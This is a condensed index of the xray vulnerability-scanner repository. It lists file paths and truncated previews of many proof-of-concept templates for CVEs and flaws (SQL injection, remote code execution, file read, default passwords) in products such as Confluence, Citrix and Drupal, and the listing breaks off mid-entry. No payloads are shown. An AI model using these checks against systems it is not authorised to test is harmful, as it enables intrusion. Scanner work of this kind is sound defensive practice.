FILE: webhook/views/views.py
function process_web_vuln (line 8) | def process_web_vuln(instance, data):
function process_statistics (line 47) | def process_statistics(instance, data):
function process_host_vuln (line 59) | def process_host_vuln(instance, data):
Condensed preview — 460 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2,939K chars).
[
{
"path": ".gitattributes",
"chars": 26,
"preview": "*.py linguist-language=Go\n"
},
{
"path": ".github/PULL_REQUEST_TEMPLATE.md",
"chars": 936,
"preview": "**请先认真阅读下列要求，如不符合会被直接关闭 PR**\n\n- 确保当前 POC 与已有的 POC 没有重复，除了仓库 `pocs` 目录中的，还有内置的几个用 Go 写的 POC也不要重复：\n ```\n poc-go-php-cve-"
},
{
"path": ".github/workflows/check_poc.yml",
"chars": 931,
"preview": "name: Check POC\non: [push, pull_request]\njobs:\n check_poc:\n runs-on: ubuntu-18.04\n steps:\n - uses: actions/s"
},
{
"path": ".gitignore",
"chars": 1778,
"preview": "# Created by .ignore support plugin (hsz.mobi)\n### Python template\n# Byte-compiled / optimized / DLL files\n__pycache__/\n"
},
{
"path": "Disclaimer.md",
"chars": 2117,
"preview": "## 免责声明\n\n本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。\n\n在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**\n\n"
},
{
"path": "LICENSE.md",
"chars": 471,
"preview": "在符合以下条件的情况下，我们欢迎任何人以任何形式使用本项目（包括商用）。\n\n - 注明集成了本项目（注明方式： 在项目介绍页附上本项目 repo 地址）\n - 同意 https://github.com/chaitin/xray/blob/"
},
{
"path": "README.md",
"chars": 7354,
"preview": "<h1 align=\"center\">Welcome to xray 👋</h1>\n<p align=\"center\">\n <img src=\"https://img.shields.io/github/release/chaitin/x"
},
{
"path": "README_EN.md",
"chars": 11519,
"preview": "<h1 align=\"center\">Welcome to xray 👋</h1>\n<p align=\"center\">\n <img src=\"https://img.shields.io/github/release/chaitin/x"
},
{
"path": "docs/.nojekyll",
"chars": 0,
"preview": ""
},
{
"path": "docs/index.html",
"chars": 311,
"preview": "<html>\n<head>\n <meta charset=\"utf-8\">\n <title>将重定向到 xray 新文档站点</title>\n</head>\n<body>\n\t<p>xray 的文档已经迁移至 <a href=\"h"
},
{
"path": "fingerprints/tcp-openbsd-openssh.yml",
"chars": 13055,
"preview": "name: fingerprint-yaml-tcp-openbsd-openssh\nmanual: false\ntransport: tcp\nset:\n re1: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P<versi"
},
{
"path": "pocs/74cms-sqli-1.yml",
"chars": 868,
"preview": "name: poc-yaml-74cms-sqli-1\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n "
},
{
"path": "pocs/74cms-sqli-2.yml",
"chars": 488,
"preview": "name: poc-yaml-74cms-sqli-2\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n "
},
{
"path": "pocs/74cms-sqli.yml",
"chars": 483,
"preview": "name: poc-yaml-74cms-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/activemq-cve-2016-3088.yml",
"chars": 1404,
"preview": "name: poc-yaml-activemq-cve-2016-3088\nmanual: true\ntransport: http\nset:\n filename: randomLowercase(6)\n fileContent"
},
{
"path": "pocs/activemq-default-password.yml",
"chars": 752,
"preview": "name: poc-yaml-activemq-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache:"
},
{
"path": "pocs/airflow-unauth.yml",
"chars": 430,
"preview": "name: poc-yaml-airflow-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/alibaba-canal-default-password.yml",
"chars": 897,
"preview": "name: poc-yaml-alibaba-canal-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/alibaba-canal-info-leak.yml",
"chars": 609,
"preview": "name: poc-yaml-alibaba-canal-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/alibaba-nacos-v1-auth-bypass.yml",
"chars": 1243,
"preview": "name: poc-yaml-alibaba-nacos-v1-auth-bypass\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(16)\n r2: random"
},
{
"path": "pocs/amtt-hiboss-server-ping-rce.yml",
"chars": 1043,
"preview": "name: poc-yaml-amtt-hiboss-server-ping-rce\nmanual: true\ntransport: http\nset:\n r2: randomLowercase(10)\nrules:\n r0:\n"
},
{
"path": "pocs/apache-ambari-default-password.yml",
"chars": 665,
"preview": "name: poc-yaml-apache-ambari-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/apache-druid-cve-2021-36749.yml",
"chars": 1211,
"preview": "name: poc-yaml-apache-druid-cve-2021-36749\r\nmanual: true\r\ntransport: http\r\nrules:\r\n druid1:\r\n request:\r\n cache:"
},
{
"path": "pocs/apache-flink-upload-rce.yml",
"chars": 1716,
"preview": "name: poc-yaml-apache-flink-upload-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(8)\n r2: randomLowerc"
},
{
"path": "pocs/apache-httpd-cve-2021-40438-ssrf.yml",
"chars": 4600,
"preview": "name: poc-yaml-apache-httpd-cve-2021-40438-ssrf\r\nmanual: true\r\ntransport: http\r\nrules:\r\n r0:\r\n request:\r\n cache"
},
{
"path": "pocs/apache-httpd-cve-2021-41773-path-traversal.yml",
"chars": 731,
"preview": "name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal\nmanual: true\ntransport: http\nrules:\n cgibin0:\n reque"
},
{
"path": "pocs/apache-httpd-cve-2021-41773-rce.yml",
"chars": 605,
"preview": "name: poc-yaml-apache-httpd-cve-2021-41773-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000"
},
{
"path": "pocs/apache-kylin-unauth-cve-2020-13937.yml",
"chars": 533,
"preview": "name: poc-yaml-apache-kylin-unauth-cve-2020-13937\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/apache-nifi-api-unauthorized-access.yml",
"chars": 563,
"preview": "name: poc-yaml-apache-nifi-api-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/apache-ofbiz-cve-2018-8033-xxe.yml",
"chars": 767,
"preview": "name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml",
"chars": 1077,
"preview": "name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization\nmanual: true\ntransport: http\nset:\n rand: randomInt(2000"
},
{
"path": "pocs/apache-storm-unauthorized-access.yml",
"chars": 538,
"preview": "name: poc-yaml-apache-storm-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/aspcms-backend-leak.yml",
"chars": 756,
"preview": "name: poc-yaml-aspcms-backend-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n"
},
{
"path": "pocs/bash-cve-2014-6271.yml",
"chars": 586,
"preview": "name: poc-yaml-bash-cve-2014-6271\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n r2: ran"
},
{
"path": "pocs/bt742-pma-unauthorized-access.yml",
"chars": 543,
"preview": "name: poc-yaml-bt742-pma-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n ca"
},
{
"path": "pocs/cacti-weathermap-file-write.yml",
"chars": 1137,
"preview": "name: poc-yaml-cacti-weathermap-file-write\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cach"
},
{
"path": "pocs/chinaunicom-modem-default-password.yml",
"chars": 453,
"preview": "name: poc-yaml-chinaunicom-modem-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/cisco-cve-2020-3452-readfile.yml",
"chars": 735,
"preview": "name: poc-yaml-cisco-cve-2020-3452-readfile\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/citrix-cve-2019-19781-path-traversal.yml",
"chars": 584,
"preview": "name: poc-yaml-citrix-cve-2019-19781-path-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/citrix-cve-2020-8191-xss.yml",
"chars": 900,
"preview": "name: poc-yaml-citrix-cve-2020-8191-xss\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(6)\nrules:\n r0:\n "
},
{
"path": "pocs/citrix-cve-2020-8193-unauthorized.yml",
"chars": 971,
"preview": "name: poc-yaml-citrix-cve-2020-8193-unauthorized\nmanual: true\ntransport: http\nset:\n user: randomLowercase(8)\n pass"
},
{
"path": "pocs/citrix-xenmobile-cve-2020-8209.yml",
"chars": 545,
"preview": "name: poc-yaml-citrix-xenmobile-cve-2020-8209\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/coldfusion-cve-2010-2861-lfi.yml",
"chars": 618,
"preview": "name: poc-yaml-coldfusion-cve-2010-2861-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/confluence-cve-2015-8399.yml",
"chars": 540,
"preview": "name: poc-yaml-confluence-cve-2015-8399\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: "
},
{
"path": "pocs/confluence-cve-2019-3396-lfi.yml",
"chars": 823,
"preview": "name: poc-yaml-confluence-cve-2019-3396-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/confluence-cve-2021-26084.yml",
"chars": 663,
"preview": "name: poc-yaml-confluence-cve-2021-26084\nmanual: true\ntransport: http\nset:\n r1: randomInt(100000, 999999)\n r2: ran"
},
{
"path": "pocs/confluence-cve-2021-26085-arbitrary-file-read.yml",
"chars": 690,
"preview": "name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read\nmanual: true\ntransport: http\nset:\n rand: randomLowercase"
},
{
"path": "pocs/consul-rexec-rce.yml",
"chars": 455,
"preview": "name: poc-yaml-consul-rexec-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/consul-service-rce.yml",
"chars": 523,
"preview": "name: poc-yaml-consul-service-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/coremail-cnvd-2019-16798.yml",
"chars": 490,
"preview": "name: poc-yaml-coremail-cnvd-2019-16798\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: "
},
{
"path": "pocs/couchcms-cve-2018-7662.yml",
"chars": 943,
"preview": "name: poc-yaml-couchcms-cve-2018-7662\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tr"
},
{
"path": "pocs/couchdb-cve-2017-12635.yml",
"chars": 933,
"preview": "name: poc-yaml-couchdb-cve-2017-12635\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(32)\nrules:\n r0:\n "
},
{
"path": "pocs/couchdb-unauth.yml",
"chars": 539,
"preview": "name: poc-yaml-couchdb-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/craftcms-seomatic-cve-2020-9757-rce.yml",
"chars": 1109,
"preview": "name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n "
},
{
"path": "pocs/dahua-cve-2021-33044-authentication-bypass.yml",
"chars": 891,
"preview": "name: poc-yaml-dahua-cve-2021-33044-authentication-bypass\r\nmanual: true\r\ntransport: http\r\nrules:\r\n r0:\r\n reque"
},
{
"path": "pocs/datang-ac-default-password-cnvd-2021-04128.yml",
"chars": 694,
"preview": "name: poc-yaml-datang-ac-default-password-cnvd-2021-04128\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/dedecms-carbuyaction-fileinclude.yml",
"chars": 873,
"preview": "name: poc-yaml-dedecms-carbuyaction-fileinclude\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/dedecms-cve-2018-6910.yml",
"chars": 578,
"preview": "name: poc-yaml-dedecms-cve-2018-6910\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tru"
},
{
"path": "pocs/dedecms-cve-2018-7700-rce.yml",
"chars": 640,
"preview": "name: poc-yaml-dedecms-cve-2018-7700-rce\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrule"
},
{
"path": "pocs/dedecms-guestbook-sqli.yml",
"chars": 1171,
"preview": "name: poc-yaml-dedecms-guestbook-sqli\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\nrules:\n "
},
{
"path": "pocs/dedecms-membergroup-sqli.yml",
"chars": 629,
"preview": "name: poc-yaml-dedecms-membergroup-sqli\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\nrules:"
},
{
"path": "pocs/dedecms-url-redirection.yml",
"chars": 555,
"preview": "name: poc-yaml-dedecms-url-redirection\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/discuz-ml3x-cnvd-2019-22239.yml",
"chars": 922,
"preview": "name: poc-yaml-discuz-ml3x-cnvd-2019-22239\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\nru"
},
{
"path": "pocs/discuz-v72-sqli.yml",
"chars": 886,
"preview": "name: poc-yaml-discuz-v72-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/discuz-wechat-plugins-unauth.yml",
"chars": 588,
"preview": "name: poc-yaml-discuz-wechat-plugins-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/discuz-wooyun-2010-080723.yml",
"chars": 716,
"preview": "name: poc-yaml-discuz-wooyun-2010-080723\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrul"
},
{
"path": "pocs/dlink-850l-info-leak.yml",
"chars": 839,
"preview": "name: poc-yaml-dlink-850l-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/dlink-cve-2019-16920-rce.yml",
"chars": 794,
"preview": "name: poc-yaml-dlink-cve-2019-16920-rce\nmanual: true\ntransport: http\nset:\n reverse: newReverse()\n reverseURL: reve"
},
{
"path": "pocs/dlink-cve-2019-17506.yml",
"chars": 656,
"preview": "name: poc-yaml-dlink-cve-2019-17506\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/dlink-cve-2020-25078-account-disclosure.yml",
"chars": 565,
"preview": "name: poc-yaml-dlink-cve-2020-25078-account-disclosure\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/dlink-cve-2020-9376-dump-credentials.yml",
"chars": 720,
"preview": "name: poc-yaml-dlink-cve-2020-9376-dump-credentials\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/dlink-dsl-2888a-rce.yml",
"chars": 1449,
"preview": "name: poc-yaml-dlink-dsl-2888a-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n"
},
{
"path": "pocs/docker-api-unauthorized-rce.yml",
"chars": 598,
"preview": "name: poc-yaml-docker-api-unauthorized-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cach"
},
{
"path": "pocs/docker-registry-api-unauth.yml",
"chars": 795,
"preview": "name: poc-yaml-docker-registry-api-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/dotnetcms-sqli.yml",
"chars": 862,
"preview": "name: poc-yaml-dotnetcms-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n r2: randomI"
},
{
"path": "pocs/draytek-cve-2020-8515.yml",
"chars": 849,
"preview": "name: poc-yaml-draytek-cve-2020-8515\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tru"
},
{
"path": "pocs/druid-monitor-unauth.yml",
"chars": 458,
"preview": "name: poc-yaml-druid-monitor-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/drupal-cve-2014-3704-sqli.yml",
"chars": 717,
"preview": "name: poc-yaml-drupal-cve-2014-3704-sqli\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrul"
},
{
"path": "pocs/drupal-cve-2018-7600-rce.yml",
"chars": 1786,
"preview": "name: poc-yaml-drupal-cve-2018-7600-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\n r2: randomLower"
},
{
"path": "pocs/drupal-cve-2019-6340.yml",
"chars": 1564,
"preview": "name: poc-yaml-drupal-cve-2019-6340\nmanual: true\ntransport: http\nset:\n host: request.url.host\n r1: randomLowercase"
},
{
"path": "pocs/dubbo-admin-default-password.yml",
"chars": 988,
"preview": "name: poc-yaml-dubbo-admin-default-password\nmanual: true\ntransport: http\nrules:\n guest0:\n request:\n "
},
{
"path": "pocs/duomicms-sqli.yml",
"chars": 544,
"preview": "name: poc-yaml-duomicms-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/dvr-cve-2018-9995.yml",
"chars": 571,
"preview": "name: poc-yaml-dvr-cve-2018-9995\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/e-zkeco-cnvd-2020-57264-read-file.yml",
"chars": 494,
"preview": "name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/ecology-arbitrary-file-upload.yml",
"chars": 1305,
"preview": "name: poc-yaml-ecology-arbitrary-file-upload\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\n r2: random"
},
{
"path": "pocs/ecology-filedownload-directory-traversal.yml",
"chars": 487,
"preview": "name: poc-yaml-ecology-filedownload-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/ecology-javabeanshell-rce.yml",
"chars": 622,
"preview": "name: poc-yaml-ecology-javabeanshell-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: rando"
},
{
"path": "pocs/ecology-springframework-directory-traversal.yml",
"chars": 515,
"preview": "name: poc-yaml-ecology-springframework-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n"
},
{
"path": "pocs/ecology-syncuserinfo-sqli.yml",
"chars": 611,
"preview": "name: poc-yaml-ecology-syncuserinfo-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: rando"
},
{
"path": "pocs/ecology-v8-sqli.yml",
"chars": 676,
"preview": "name: poc-yaml-ecology-v8-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(1000, 9999)\n r2: randomInt(1000, 9"
},
{
"path": "pocs/ecology-validate-sqli.yml",
"chars": 2834,
"preview": "name: poc-yaml-ecology-validate-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(8000, 9999)\n r2: randomInt(8"
},
{
"path": "pocs/ecology-workflowcentertreedata-sqli.yml",
"chars": 3009,
"preview": "name: poc-yaml-ecology-workflowcentertreedata-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(4000, 9999)\n r"
},
{
"path": "pocs/ecshop-cnvd-2020-58823-sqli.yml",
"chars": 555,
"preview": "name: poc-yaml-ecshop-cnvd-2020-58823-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\nrules:\n "
},
{
"path": "pocs/ecshop-collection-list-sqli.yml",
"chars": 706,
"preview": "name: poc-yaml-ecshop-collection-list-sqli\r\nmanual: true\r\ntransport: http\r\nset:\r\n r1: randomInt(10000, 99999)\r\nrules:"
},
{
"path": "pocs/ecshop-rce.yml",
"chars": 1688,
"preview": "name: poc-yaml-ecshop-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 448"
},
{
"path": "pocs/eea-info-leak-cnvd-2021-10543.yml",
"chars": 531,
"preview": "name: poc-yaml-eea-info-leak-cnvd-2021-10543\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n ca"
},
{
"path": "pocs/elasticsearch-cve-2014-3120.yml",
"chars": 1487,
"preview": "name: poc-yaml-elasticsearch-cve-2014-3120\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\n "
},
{
"path": "pocs/elasticsearch-cve-2015-1427.yml",
"chars": 1236,
"preview": "name: poc-yaml-elasticsearch-cve-2015-1427\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: ran"
},
{
"path": "pocs/elasticsearch-cve-2015-3337-lfi.yml",
"chars": 472,
"preview": "name: poc-yaml-elasticsearch-cve-2015-3337-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/elasticsearch-cve-2015-5531.yml",
"chars": 1892,
"preview": "name: poc-yaml-elasticsearch-cve-2015-5531\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\nrules:\n r0:\n "
},
{
"path": "pocs/elasticsearch-unauth.yml",
"chars": 681,
"preview": "name: poc-yaml-elasticsearch-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/etcd-unauth.yml",
"chars": 1098,
"preview": "name: poc-yaml-etcd-unauth\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(32)\n r2: randomLowercase(32)\n "
},
{
"path": "pocs/etouch-v2-sqli.yml",
"chars": 668,
"preview": "name: poc-yaml-etouch-v2-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/exchange-cve-2021-26855-ssrf.yml",
"chars": 837,
"preview": "name: poc-yaml-exchange-cve-2021-26855-ssrf\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/exchange-cve-2021-41349-xss.yml",
"chars": 680,
"preview": "name: poc-yaml-exchange-cve-2021-41349-xss\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n meth"
},
{
"path": "pocs/f5-cve-2021-22986.yml",
"chars": 737,
"preview": "name: poc-yaml-f5-cve-2021-22986\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n r2: rand"
},
{
"path": "pocs/f5-tmui-cve-2020-5902-rce.yml",
"chars": 668,
"preview": "name: poc-yaml-f5-tmui-cve-2020-5902-rce\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache:"
},
{
"path": "pocs/fangweicms-sqli.yml",
"chars": 610,
"preview": "name: poc-yaml-fangweicms-sqli\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0"
},
{
"path": "pocs/feifeicms-lfr.yml",
"chars": 519,
"preview": "name: poc-yaml-feifeicms-lfr\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/finecms-sqli.yml",
"chars": 541,
"preview": "name: poc-yaml-finecms-sqli\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n "
},
{
"path": "pocs/finereport-directory-traversal.yml",
"chars": 555,
"preview": "name: poc-yaml-finereport-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/flexpaper-cve-2018-11686.yml",
"chars": 1758,
"preview": "name: poc-yaml-flexpaper-cve-2018-11686\nmanual: true\ntransport: http\nset:\n fileName: randomLowercase(6)\n verifyStr"
},
{
"path": "pocs/flink-jobmanager-cve-2020-17519-lfi.yml",
"chars": 550,
"preview": "name: poc-yaml-flink-jobmanager-cve-2020-17519-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/fortigate-cve-2018-13379-readfile.yml",
"chars": 663,
"preview": "name: poc-yaml-fortigate-cve-2018-13379-readfile\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/frp-dashboard-unauth.yml",
"chars": 1029,
"preview": "name: poc-yaml-frp-dashboard-unauth\nmanual: true\ntransport: http\nrules:\n defaultpassword0:\n request:\n "
},
{
"path": "pocs/gateone-cve-2020-35736.yml",
"chars": 755,
"preview": "name: poc-yaml-gateone-cve-2020-35736\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tr"
},
{
"path": "pocs/gilacms-cve-2020-5515.yml",
"chars": 505,
"preview": "name: poc-yaml-gilacms-cve-2020-5515\nmanual: true\ntransport: http\nset:\n r1: randomInt(200000000, 210000000)\nrules:\n "
},
{
"path": "pocs/gitlab-graphql-info-leak-cve-2020-26413.yml",
"chars": 1112,
"preview": "name: poc-yaml-gitlab-graphql-info-leak-cve-2020-26413\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/gitlab-ssrf-cve-2021-22214.yml",
"chars": 811,
"preview": "name: poc-yaml-gitlab-ssrf-cve-2021-22214\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/gitlist-rce-cve-2018-1000533.yml",
"chars": 1181,
"preview": "name: poc-yaml-gitlist-rce-cve-2018-1000533\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n "
},
{
"path": "pocs/glassfish-cve-2017-1000028-lfi.yml",
"chars": 543,
"preview": "name: poc-yaml-glassfish-cve-2017-1000028-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/go-pprof-leak.yml",
"chars": 773,
"preview": "name: poc-yaml-go-pprof-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/gocd-cve-2021-43287.yml",
"chars": 1006,
"preview": "name: poc-yaml-gocd-cve-2021-43287\r\nmanual: true\r\ntransport: http\r\nrules:\r\n linux0:\r\n request:\r\n ca"
},
{
"path": "pocs/grafana-default-password.yml",
"chars": 619,
"preview": "name: poc-yaml-grafana-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: "
},
{
"path": "pocs/h2-database-web-console-unauthorized-access.yml",
"chars": 908,
"preview": "name: poc-yaml-h2-database-web-console-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n"
},
{
"path": "pocs/h3c-imc-rce.yml",
"chars": 2296,
"preview": "name: poc-yaml-h3c-imc-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(8)\n r2: randomLowercase(8)\n r"
},
{
"path": "pocs/h3c-secparh-any-user-login.yml",
"chars": 706,
"preview": "name: poc-yaml-h3c-secparh-any-user-login\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/h5s-video-platform-cnvd-2020-67113-unauth.yml",
"chars": 874,
"preview": "name: poc-yaml-h5s-video-platform-cnvd-2020-67113-unauth\r\nmanual: true\r\ntransport: http\r\nrules:\r\n h5s1:\r\n request:\r\n"
},
{
"path": "pocs/hadoop-yarn-unauth.yml",
"chars": 620,
"preview": "name: poc-yaml-hadoop-yarn-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/hanming-video-conferencing-file-read.yml",
"chars": 919,
"preview": "name: poc-yaml-hanming-video-conferencing-file-read\nmanual: true\ntransport: http\nrules:\n linux0:\n request:\n "
},
{
"path": "pocs/harbor-cve-2019-16097.yml",
"chars": 1058,
"preview": "name: poc-yaml-harbor-cve-2019-16097\nmanual: true\ntransport: http\nset:\n r1: randomInt(5, 10)\n r2: randomLowercase("
},
{
"path": "pocs/hikvision-cve-2017-7921.yml",
"chars": 566,
"preview": "name: poc-yaml-hikvision-cve-2017-7921\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/hikvision-info-leak.yml",
"chars": 767,
"preview": "name: poc-yaml-hikvision-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n"
},
{
"path": "pocs/hikvision-intercom-service-default-password.yml",
"chars": 812,
"preview": "name: poc-yaml-hikvision-intercom-service-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n"
},
{
"path": "pocs/hikvision-unauthenticated-rce-cve-2021-36260.yml",
"chars": 1522,
"preview": "name: poc-yaml-hikvision-unauthenticated-rce-cve-2021-36260\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(5)\n "
},
{
"path": "pocs/hjtcloud-arbitrary-fileread.yml",
"chars": 700,
"preview": "name: poc-yaml-hjtcloud-arbitrary-fileread\nmanual: true\ntransport: http\nrules:\n linux0:\n request:\n "
},
{
"path": "pocs/hjtcloud-directory-file-leak.yml",
"chars": 733,
"preview": "name: poc-yaml-hjtcloud-directory-file-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/huawei-home-gateway-hg659-fileread.yml",
"chars": 486,
"preview": "name: poc-yaml-huawei-home-gateway-hg659-fileread\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/ifw8-router-cve-2019-16313.yml",
"chars": 862,
"preview": "name: poc-yaml-ifw8-router-cve-2019-16313\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/iis-put-getshell.yml",
"chars": 724,
"preview": "name: poc-yaml-iis-put-getshell\nmanual: true\ntransport: http\nset:\n filename: randomLowercase(6)\n fileContent: rand"
},
{
"path": "pocs/influxdb-unauth.yml",
"chars": 732,
